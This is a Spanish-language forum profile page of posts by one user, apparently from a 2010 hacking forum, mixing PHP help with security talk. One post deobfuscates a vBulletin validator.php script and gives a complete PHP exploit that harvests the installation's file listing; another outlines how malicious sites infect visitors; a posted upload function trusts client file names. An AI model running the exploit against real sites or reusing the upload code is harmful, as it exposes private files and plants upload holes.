Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - WHK

#3351
PHP / Re: Proteger mi aplicacion PHP... ideas?
23 Enero 2010, 20:21 PM
Mejor te cambias de proveedor o te consigues un servidor dedicado, también puedes usar ioncube aunque el servidor debe estar adaptado para ioncube de forma nativa y no usando dl() porque en php6 eso se erradicará, si te ha costado mucho tu aplicacion y quieres hacer negocio con el entonces consiguete un vps o uno dedicado.
#3352
Nivel Web / Re: PHP upload security
23 Enero 2010, 19:29 PM
Hola, creo que debiste haber puesto tu post en el foro de php y no acá porque lo único que veeo es como utilizar funciones descritas exactamente igual que en php.net

http://cl.php.net/exif
http://cl.php.net/image

Lo digo porque de seguridad no le veo mucho, incluso ese código está mal hecho porque en el caso que hagas multiupload el array de imagenes subidas va a pasar de ser dimensional a multidimensional y tu código va a fallar.
Para solucionar el problema de las transparencias y la cantidad de colores hay alternativas mucho mejores.
Por ejemplo este pequeño código que hize tomando la documentación desde php.net puede hacer lo mismo y mejor:

Código (php) [Seleccionar]
<?php
$original 
'test.jpg';
$destino 'test.png'// La salida siempre será en PNG para no perder calidad
 
$width_d 100// ancho de salida en pixeles
$height_d 100// alto de salida en pixeles
/* obtengo información del archivo */
list($width_s$height_s$type$attr) = getimagesize($original$info2);
/* crea el recurso gd para el origen */
if(!$gd_s imagecreatefromstring(file_get_contents($original)))
 die(
'El archivo no es una imagen.'); // el archivo no es una imagen
/* crea el recurso gd para la salida */
if(!$gd_d imagecreatetruecolor($width_d$height_d))
 die(
'El archivo no es una imagen.'); // No maneja GD o escala fuera del limite
 
magealphablending($gd_dfalse); // desactivo el procesamiento automatico de alpha
imagesavealpha($gd_dtrue); // Alpha original se graba en el archivo destino
/* Redimensiona */
imagecopyresampled($gd_d$gd_s0000$width_d$height_d$width_s$height_s);
unlink($original); // Elimina el archivo original
if(!imagepng($gd_d$destino)) // Graba la imagen
 
die('No tiene permisos de escritura sobre el directorio de imagenes.');
imagedestroy($gd_s); // Libera memoria
imagedestroy($gd_d); // Libera memoria
?>


Ahora, que alguien haya copiado el tuto de alguien mas lo dudo porque es lo mismo que puedes ver en php.net y por algo fueron hechas esas funciones y no solo el o tu lo utilizan sino miles de desarrolladores y no necesariamente lo vieron desde un tutorial.

Si quieres solucionar el problema de la subida de imagenes yo hize una función que puede solucionar eso, talves te sirva. En php.net también sale similar.

Código (php) [Seleccionar]
function guardar_subidos($directorio_almacenamiento, $extensiones_permitidas = false, $crear_directorio = false, $un_solo_archivo = false){

  /* Verifica si hay archivos subidos para ser recibidos */
  if(is_array($_FILES)){
   if(count($_FILES) < 1){
    return false;
   }
  }else{
   return false;
  }

  if($un_solo_archivo){
   if(count($_FILES) > 1){
    return array(
     'estado' => 'error',
     'descripcion_error' => 'Solo es permitido subir un solo archivo y se ha detectado mas de uno'
    );
   }
  }

  /* Verifica si el directorio de guardado es válido o no */
  if(!is_dir($directorio_almacenamiento)){
   if($crear_directorio){
    if(!mkdir($directorio_almacenamiento, 0755)){
     return array(
      'estado' => 'error',
      'descripcion_error' => 'El directorio a guardar los archivos subidos no existe y fue imposible crear'
     );
    }
   }else{
    return array(
     'estado' => 'error',
     'descripcion_error' => 'El directorio a guardar los archivos subidos no existe'
    );
   }
  }

  /* Limpia la ruta del directorio evitando doble slashses y null bytes */

  $directorio_almacenamiento = dirname($directorio_almacenamiento.'/archivo.ext').'/';

  /* Si no existe el directorio entonces lo creará */

  if(!is_dir($directorio_almacenamiento)){

   if(!mkdir($directorio_almacenamiento, 0755))

    return array(
     'estado' => 'error',
     'descripcion_error' => 'No se pudo crear el nuevo directorio. Verifique los permisos de escritura sobre el directorio raiz'
    );

  }


  /* Procesa cada archivo subido para pasar de un array con uno a dos dimensiones a una sola dimensión */
  foreach($_FILES as $nombre_array => $archivo){
   /* Verifica si se ha subido un solo archivo o varios */
   if(is_array($_FILES[$nombre_array]['name'])){ /* Múltiples archivos */
    /* Procesa cada archivo subido */
    foreach($_FILES[$nombre_array]['name'] as $id => $nombre){
     /* Verifica que no sea un input vacio */
     if($_FILES[$nombre_array]['name'][$id]){
      $subidos[] = array(
       'name' => $_FILES[$nombre_array]['name'][$id],
       'type' => $_FILES[$nombre_array]['type'][$id],
       'tmp_name' => $_FILES[$nombre_array]['tmp_name'][$id],
       'error' => $_FILES[$nombre_array]['error'][$id],
       'size' => $_FILES[$nombre_array]['size'][$id]
      );
     }
    }
   }else{ /* Un solo archivo */
    $subidos[] = $archivo;
   }
  }

  /* Verifica si se ha subido algún archivo */
  if(is_array($subidos)){
   /* Procesa cada archivo subido previamente filtrado en un solo array de una dimensión */
   foreach($subidos as $subido){
    if(is_array($extensiones_permitidas)){
     if(archivos::coincide_extension($subido['name'], $extensiones_permitidas)){
      if(move_uploaded_file($subido['tmp_name'], $directorio_almacenamiento.$subido['name'])){
       $resultados[] = array(
        'estado' => 'ok',
        'name' => $subido['name'],
        'type' => $subido['type'],
        'error' => $subido['error'],
        'size' => $subido['size']
       );
      }else{
       $resultados[] = array(
        'estado' => 'error',
        'descripcion_error' => 'El archivo "'.$subido['name'].'" no pudo ser movido. Verifique los permisos de escritura sobre el directorio raiz',
        'name' => $subido['name'],
        'type' => $subido['type'],
        'error' => $subido['error'],
        'size' => $subido['size']
       );
      }
     }else{
      $resultados[] = array(
       'estado' => 'error',
       'descripcion_error' => 'El archivo "'.$subido['name'].'" contiene una extensión no válida',
       'name' => $subido['name'],
       'type' => $subido['type'],
       'error' => $subido['error'],
       'size' => $subido['size']
      );
     }
    }else{
     if(move_uploaded_file($subido['tmp_name'], $directorio_almacenamiento.$subido['name'])){
      $resultados[] = array(
       'estado' => 'ok',
       'name' => $subido['name'],
       'type' => $subido['type'],
       'error' => $subido['error'],
       'size' => $subido['size']
      );
     }else{
      $resultados[] = array(
       'estado' => 'error',
       'descripcion_error' => 'El archivo "'.$subido['name'].'" no pudo ser movido',
       'name' => $subido['name'],
       'type' => $subido['type'],
       'error' => $subido['error'],
       'size' => $subido['size']
      );
     }
    }
   }
  }else{
   return array(
    'estado' => 'error',
    'descripcion_error' => 'No hay archivos para ser subidos'
   );
  }

  /* Retorna el resultado */
  return array(
   'estado' => 'ok',
   'datos' => $resultados
  );

}


Lo usas así:
Código (php) [Seleccionar]
$data = guardar_subidos('/archivos/imagenes/', array('doc','xls','pdf','ppt'), true); print_r($data);

En ves de hacer criticas destructivas podrias aportar algo que realmente valga la pena, si quieres criticarle algo a alguien mandale un privado mostrando tu molestia pero no vengas al foro lanzando piedras porque alguien le copió a otro que copió funciones desde php.net.
#3353
Bueno, hagamos una prueba de concepto (PoC) porque a veces si son muchos archivos puede causar la sobrecarga del explorador.

Al ver el código fuente desde tu explorador en el validator.php verás algo como esto:

Citar<script type="text/‭‬javascript">
var enkripsi="'1Aqapkrv'02v{rg'1F'00vgzv-hctcqapkrv'00'1G'2C'1A'03//'2C--'02Amfg'02`{'02Gtkn@'2C--'02Rn2z'02fml'05v'02pgwqg'02ukvjmwv'02cqikle'2C--'02mp'02K'02okejv'02jcz2p'02{mw'03'2Ctcp'02zonJvvr'2C'2Cdwlavkml'02tcnkfcvg'0:qvp'0;'2C'5@'02'2CzonJvvr'1FEgvZonJvvrM`hgav'0:'0;'1@'2Ckd'02'0:zonJvvr'1F'1Flwnn'0;'2C'02'02'5@'2C'02'02cngpv'02'0:'00[mwp'02`pmuqgp'02fmgq'02lmv'02qwrrmpv'02CHCZ'03'00'0;'1@'2C'02'02pgvwpl'1@'2C'02'02'5F'02'2C'02'02fmawoglv,egvGngoglv@{Kf'0:'00amlvglv'00'0;,kllgpJVON'1F'05'1Ar'1G'04l`qr'1@'1A-r'1G'1Ar'1G'04l`qr'1@'1A-r'1G'05'2C'02'02)'05'1Aaglvgp'1GTcnkfcvkle'02Pgngcqg'1A`p'02-'1G'1Akoe'02qpa'1F'00tcnkfcvmp,rjr'1Dkldm'1Fkoe'00'02cnv'1F'00Nmcfkle,,,'00'02-'1G'1A-aglvgp'1G'05'1@'2Ctcp'02wpn'1F'00tcnkfcvmp,rjr'00'1@'2Cwpn'1Fwpn)'00'1Dmr'1F'00)qvp'1@'2Cwpn'1Fwpn)'00'04qkf'1F'00)Ocvj,pclfmo'0:'0;'1@'2CzonJvvr,mlpgcf{qvcvgajcleg'1FqvcvgAjclegf'1@'2CzonJvvr,mrgl'0:'00EGV'00'0Awpn'0Avpwg'0;'1@'2CzonJvvr,qglf'0:lwnn'0;'1@'2C'5F'2C'2C'2Cdwlavkml'02qvcvgAjclegf'0:'0;'02'2C'5@'02'2Ckd'02'0:zonJvvr,pgcf{Qvcvg'1F'1F6'0;'2C'5@'02'2Cfmawoglv,egvGngoglv@{Kf'0:'00amlvglv'00'0;,kllgpJVON'1FzonJvvr,pgqrmlqgVgzv'1@'2C'5F'2C'5F'2C'2Cdwlavkml'02EgvZonJvvrM`hgav'0:'0;'2C'5@'2Ctcp'02zonJvvr'1Flwnn'1@'2Cvp{'2C'02'02'5@'2C'02'02--'02Dkpgdmz'0A'02Mrgpc'02:,2)'0A'02Qcdcpk'2C'02'02zonJvvr'1Flgu'02ZONJvvrPgswgqv'0:'0;'1@'2C'02'02'5F'2Cacvaj'02'0:g'0;'2C'02'02'5@'2C'02'02--'02Klvgplgv'02Gzrnmpgp'2C'02'02vp{'2C'02'02'02'02'5@'2C'02'02'02'02zonJvvr'1Flgu'02CavktgZM`hgav'0:'00Oqzon0,ZONJVVR'00'0;'1@'2C'02'02'02'02'5F'2C'02'02acvaj'02'0:g'0;'2C'02'02'02'02'5@'2C'02'02'02'02zonJvvr'1Flgu'02CavktgZM`hgav'0:'00Okapmqmdv,ZONJVVR'00'0;'1@'2C'02'02'02'02'5F'2C'02'02'5F'2Cpgvwpl'02zonJvvr'1@'2C'5F'2C--//'1G'2C'1A-qapkrv'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli);
</script>
</head>
<body>
<h2>DGT Release Checker</h2>
<div align="center" id="content"><br /><br /><p>Click the button below to ensure this is an official DGT release:<br /><button onclick="validate('4a1eebaa644e71d6b0ef4209881bd9f0')">Validate</button></p></div></body>

Lo puse citado y no como texto para que no se cause un overflow y se pueda ver todo.
Ahora si enviamos la petición y observamos desde el complemento live header de firefox vemos:
http://foro/validator.php?op=4a1eebaa644e71d6b0ef4209881bd9f0&sid=0.40952314391169486

Por lo tanto de donde sacamos ese hash?, del mismo script pero si queremos hacer una automatización debemos ser capaces de descifrar el contenido desde otro lenguaje:

Cifrado original:
Código (‭‬javascript) [Seleccionar]
var enkripsi="HASH";
teks="";
teksasli="";
var panjang;
panjang=enkripsi.length;
for (i=0;i<panjang;i++){
teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2)
}
teksasli=unescape(teks);
document.write(teksasli);


Ahora podemos ver algo como esto:
Código (html4strict) [Seleccionar]
<script type="text/‭‬javascript">
<!--
// Code by EvilB
// Pl0x don't reuse without asking
// or I might hax0r you!
var xmlHttp

function validate(str)
{
xmlHttp=GetXmlHttpObject();
if (xmlHttp==null)
{
alert ("Your browser does not support AJAX!");
return;
}
document.getElementById("content").innerHTML='<p>&nbsp;</p><p>&nbsp;</p>'
'<center>Validating Release<br /><img src="validator.php?info=img" alt="Loading..." /></center>';
var url="validator.php";
url=url "?op=" str;
url=url "&sid=" Math.random();
xmlHttp.onreadystatechange=stateChanged;
xmlHttp.open("GET",url,true);
xmlHttp.send(null);
}


function stateChanged()
{
if (xmlHttp.readyState==4)
{
document.getElementById("content").innerHTML=xmlHttp.responseText;
}
}

function GetXmlHttpObject()
{
var xmlHttp=null;
try
{
// Firefox, Opera 8.0 , Safari
xmlHttp=new XMLHttpRequest();
}
catch (e)
{
// Internet Explorer
try
{
xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e)
{
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}
}
return xmlHttp;
}
//-->
</script>


O sea que ocultan una función que lo único que hace es tomar la variable enviada por el form y pasarla por variable de la petición y la segunda variable enviada corresponde a un valor al azar que seguramente se utiliza para evitar caché, asi que despues de hacernos perder el tiempo durante 1 minuto podemos hacer la prueba de concepto:

Código (php) [Seleccionar]
<?php
error_reporting
(0);
echo 
"
VBulletin Full Disclosure exploit by WHK (Original: http://tinkode.baywords.com)
"
;

if(!
$argv[1]){
 echo 
"Uso: ".$argv[0]." http://ejemplo.com/foro/ \n";
 exit;
}

echo 
"Extracting HTML content ...\n";
if(!
$buffer file_get_contents($argv[1].'validator.php')){
 echo 
"validator.php not found.\n";
 exit;
}
echo 
"Find Token ...\n";
if(!
$hash desde_hasta('onclick="validate(\'''\')">'$buffer)){
 echo 
"Token not found.\n";
 exit;
}
echo 
"Obtaining files ...\n";
if(!
$buffer file_get_contents($argv[1].'validator.php?op='.urlencode($hash))){
 echo 
"Files not found.\n";
 exit;
}
echo 
"Organizing files ...\n";
if(!
$archivos desde_hasta('<td>''</td>'$bufferfalsetrue)){
 echo 
"Impossible to organize. Original Saving ...\n";
}else{
 
$buffer print_r($archivostrue);
 echo 
"Saving ...\n";
}

if(!
guardar_archivo('archivos.txt'$buffer)){
 echo 
"impossible to save, shows ...\n";
 
print_r($buffer);
 exit;
}else{
 echo 
"completed!, the file has been stored in archivos.txt\n";
}
exit;

function 
desde_hasta($desde$hasta$contenido$cantidad false$retornar_todo false){
 if(
count(explode($desde ,$contenido)) > ){
  
$retorno explode($desde$contenido);
  foreach(
$retorno as $compara){
   
$compara explode($hasta$compara);
   if(
$compara $compara[0])
    
$retorna[] = $compara;
   unset(
$compara);
  }
  if(
$retornar_todo){
   unset(
$retorna[0]);
   return 
$retorna;
  }
  if(
is_numeric($cantidad)){
   
$retorno $retorna[$cantidad];
  }else{
   
$retorno $retorna[1];
  }
  return 
$retorno;
 }else{
  return 
false;
 }
}

function 
guardar_archivo($ruta$contenido){
 if(!
$handle = @fopen($ruta'x'))
  return 
false;
 
fwrite($handle$contenido);
 
fclose($handle);
 return 
true;
}
?>


Se ve algo como esto:



#3354
jajaja good.

El archivo validator.php que se encontraba en la mayoría de las instalaciones de vbulletín lo que hace es validad archivo por archivo en el directorio de instalación y al final del checkeo te muestra todo, sea parte del sistema o no, por lo tanto si es peligroso porque si mantienes un archivo oculto o no quieres que se vea algún directorio de administración eso significa que aparecerá en esa lista.

Solo basta don darle click al botón y listo.

Normalmente este tipo de cosas deberían estar en el directorio de administración y no publico.
Bueno, nada es perfecto, algunos piensan que vbulletin por ser de pago es mejor que uno gratuito.
#3355
Muy buena documentación en general, hay mucho por leer y aprender
#3356
Cita de: Nakp en 21 Enero 2010, 00:18 AM
Cita de: psymera en 20 Enero 2010, 23:56 PM
ya aye al lammo que realizo el atake
http://hielasangre.diosdelared.com/?coment=5256

ironicamete "descubrireron" algo que subren todas las aplicaciones que dan rss, wordpress es (o fue) víctima de este ataque... si no mal recuerdo whk ya lo había publicado, si no, lo habia mencionado xDD

Si, ese tema es bug lo encontre en smf 1.1.7, lo reporté en ese mismo año y lo reporté nuevamente acá:
http://foro.elhacker.net/nivel_web/auditoria_de_seguridad_hacia_simple_machines_forum_20-t271199.0.html;msg1358092#msg1358092
y en varios lados mas, si la gente tuviera un poco de cerebro sumada con iniciativa no tendria la necesidad de buscar bugs en otros foros y usarlos diciendo que practicamente son hackers porque lo descubrieron.

Al final me da igual, nunca pasará a mayores porque no tienen el cerebro para hacer algo mas que un copy paste, incluso hay un laaargo documento de varias paginas sobre la denegación de servicio por agotamiento de memoria y recursos que hize para un foro y estas cosas pasan cuando gente con no mas de 15 años toman estos bugs y comienzan a atacar foros sin tener un poco de consiencia de lo que hacen, sin ética ni guia, ellos creen que lo que uno expone o comenta es para joder otros sitios pero no es así, es para la prevención y ayuda de mas comunidades y webmasters que puedan tener el mismo problema y no caer en lo mismo pero bueno... lamentablemente siempre existirá la gente así al igual que los trolls, son como la arena de las playas xDDD

En fin, ya está todo solucionado. 10 segundos off, 10 segundos de fama, toda una vida de lammería.
El problema que tenía el usuario que hizo el primer post es otro tema.
#3357
PHP / Re: Como verificó esto en php?
20 Enero 2010, 17:51 PM
Código (php) [Seleccionar]
<?php
verifica
('test1');
verifica('test1.test2');
verifica('test1.test2.test3');
verifica('test1.test2.test3.test4');

function 
verifica($str){
 if(
count(explode('.'$str)) > 2)
  echo 
'Valido<br />';
 else
  echo 
'Invalido<br />';
}
?>


CitarInvalido
Invalido
Valido
Valido
#3358
Eso no es url de aviso, estás avisando al admin pero no es una url de publicación.
#3359
Url de aviso no significa donde lo reportaron sino donde se publicó anteriormente.
Todos los mensajes que no tengan una ur válida de aviso aunque sea un blog en wordpress o blogger, da igual, será eliminado este lunes.
#3360
Nivel Web / Re: infectar con troyano por PHP
18 Enero 2010, 19:31 PM
Los sitio webs que infectan las pc como sitios porno o phishing lo hacen de varias formas,

1. Bug en el explorador
El atacante hace un sitio web atacando alguna de las cientas de vulnerabiliades que pueda estar en un explorador determinado o mas de alguno dependiendo el bug y si ese bug todavía funciona o no, tendrias que saber programacion a nivel ensamblador y crear tus propios payloads para encontrar exploiuts hechos y lanzar el ataque que necesitas para subirle el servidor encodeado en la shell. Para eso necesitas muchisimo tiempo aprendiendo programación y conocimiento en lenguaje máquina como para explotar BOF y HOF (desbordamientos) que son los mas comunes o si no esperar a que salga algun bug que permita codigo de ejecución arbitraria y modificar el payload con el server.

2. Ingeniería social
Hacen una web que te de un ejecutable, ¿pero como? haciendose pasar por plugin o elemento activex, en ese caso cuando la pagina carga el sitio web dirá que necesita instalarse un codec o plugin extra para poder visualizar cierto video o pagina web y si es que caen en ese truco tan viejo la persona lo va a aceptar y tiene que instalarlo, si logras que todo eso pase habrás infectado a la persona y si el se da cuenta que la web sigue sin funcionar despues de instalar el activex entonces se va a arrepentir toa su vida de haber instalado ese plugin.

3. Ataque indirecto
Es similar al de encontrar bugs en el explorador pero en ves de eso lo hacen en sistemas que no son del explorador pero forman parte de el como java, flash, silverlight, pdf reader, yahoo component, etc y si alguno de estos tiene algún bug que permita código de ejecución ya sea por desbordamiento o lo que sea entonces pueden atacar ese lado pero para eso necesitas que la persona tenga instalado el complemento o componente que deseas atacar.
Una persona hace mucho hizo una infección masiva atraves de documentos pdf aprovechando de que la instalacion de adobe reader instala por defecto un plugin en los exploradores instalados sin confirmación alguna para que puedan leerse ese tipo de documentos con tan solo visualizarlos pero para hacer eso tendrias que atacar una version del software en especifico o encontrar bugs que no hayan sido descubiertos o reparados todavía y para eso tendrias que tener los conocimientos suficientes como para realizar un analisis a pdf de todo tipo, tanto a nivel binario como en ejecución.

De estas tres formas la dos es la mas facil porque no requiere muchos conocimientos y si eres de esas personas que quiere bajarse un programa y presionar un botón para que las cosas se hagan solas entonces estas mal.
Si por ahi leiste sobre bugs de php esos afectan al servidor y no al cliente asi que no sirve para infectar las pc de los visitantes.